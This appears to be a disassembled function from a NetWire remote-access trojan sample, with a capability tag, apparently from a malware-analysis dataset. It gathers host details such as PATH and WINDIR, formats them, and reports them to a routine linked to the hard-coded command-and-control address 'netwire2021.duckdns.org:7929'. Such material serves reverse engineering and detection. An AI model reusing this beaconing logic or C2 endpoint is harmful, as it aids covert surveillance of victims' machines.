Function at 0x413748
Capabilities:
Query environment variable

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x78c
lea eax, [esp + 0xfc]
mov dword [esp + 4], 0x40
lea ebx, [esp + 0x57c]
mov dword [esp], eax
call fcn.004130e8
lea eax, [esp + 0x13c]
mov dword [esp + 4], 0x40
mov dword [esp], eax
call fcn.00413040
lea eax, [esp + 0x37c]
mov dword [esp + 4], 0x200
mov dword [esp], eax
call fcn.0041359f
lea eax, [esp + 0x17c]
mov dword [esp + 4], 0x200
mov dword [esp], eax
call fcn.004134d1
lea eax, [esp + 0xa0]
mov dword [esp], eax
call fcn.004134fd
mov dword [esp + 4], 0x204
mov dword [esp], ebx
call fcn.00407c77
test al, al
jne 0x4137f0
mov dword [esp + 8], 0x204
mov dword [esp + 4], str.Unknown
mov dword [esp], ebx
call fcn.00412548
lea ebx, [esp + 0xbc]
lea esi, [esp + 0xdc]
mov dword [esp + 8], 0
mov dword [esp + 4], 0x20
mov dword [esp], ebx
call fcn.00408218
mov dword [esp + 4], 0x20
mov dword [esp], esi
call fcn.004082c4
mov ecx, dword [0x422830]
mov dword [esp], 0x40
mov dword [esp + 0x9c], 0
mov dword [esp + 0x8c], ecx
call fcn.004082e8
mov byte [esp + 0x7f], al
call fcn.004101f1
mov dword [esp + 0x88], eax
call fcn.00408e66
mov dword [esp + 0x80], eax
call fcn.00408e53
mov dword [esp], str.PATH
mov dword [esp + 0x84], eax
call sub.msvcrt.dll_getenv
mov dword [esp], str.WINDIR
mov ebp, eax
call sub.msvcrt.dll_getenv
mov edi, eax
call fcn.004135f2
mov edx, dword [esp + 0x88]
movzx eax, al
mov ecx, dword [esp + 0x8c]
mov dword [esp + 0x30], eax
mov eax, dword [esp + 0xb0]
mov dword [esp + 0x3c], ebx
mov dword [esp + 0x64], str.C:UsersAdministratorAppDataRoamingLogs_
lea ebx, [esp + 0x9c]
mov dword [esp + 0x58], edx
mov edx, dword [esp + 0x80]
mov dword [esp + 0x28], eax
mov eax, dword [esp + 0xa8]
mov dword [esp + 0x68], ecx
movzx ecx, byte [esp + 0x7f]
mov dword [esp + 0x50], edx
mov edx, dword [esp + 0x84]
mov dword [esp + 0x20], eax
mov eax, dword [esp + 0xa0]
mov dword [esp + 0x54], str.Password
mov dword [esp + 0x48], 0x422600
mov dword [esp + 0x4c], edx
mov edx, dword [esp + 0xb4]
mov dword [esp + 0x60], ecx
mov dword [esp + 0x18], eax
lea ecx, [esp + 0x57c]
lea eax, [esp + 0x37c]
mov dword [esp + 0x44], str.netwire2021.duckdns.org:7929_
mov dword [esp + 0x40], esi
mov dword [esp + 0x2c], edx
mov edx, dword [esp + 0xac]
mov dword [esp + 0x5c], ecx
mov dword [esp + 0x38], ebp
mov dword [esp + 0x34], edi
mov dword [esp + 0x24], edx
mov edx, dword [esp + 0xa4]
mov dword [esp + 0x1c], edx
mov dword [esp + 0x14], eax
lea eax, [esp + 0x13c]
mov dword [esp + 4], str._s_a_s_a_s_a_s_a_I64u_a_I64u_a_I64u_a_d_a_s_a_s_a_s_a_s_a_s_a_s_a_d_a_d_a_s_a_d_a_s_a_d_a_s_a_d_a
mov dword [esp], ebx
mov dword [esp + 0x10], eax
lea eax, [esp + 0xfc]
mov dword [esp + 0xc], eax
lea eax, [esp + 0x17c]
mov dword [esp + 8], eax
call fcn.00412755
cmp eax, 0xffffffff
je 0x4139c4
mov dword [esp + 0xc], eax
mov eax, dword [esp + 0x9c]
mov dword [esp + 4], 0xba
mov dword [esp + 8], eax
mov eax, dword [esp + 0x7a0]
mov dword [esp], eax
call fcn.00405d7d
mov dword [esp], ebx
call fcn.00407f59
jmp 0x4139eb
mov eax, dword [esp + 0x7a0]
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0xbb
mov dword [esp], eax
call fcn.00405d7d
add esp, 0x78c
pop ebx
pop esi
pop edi
pop ebp
ret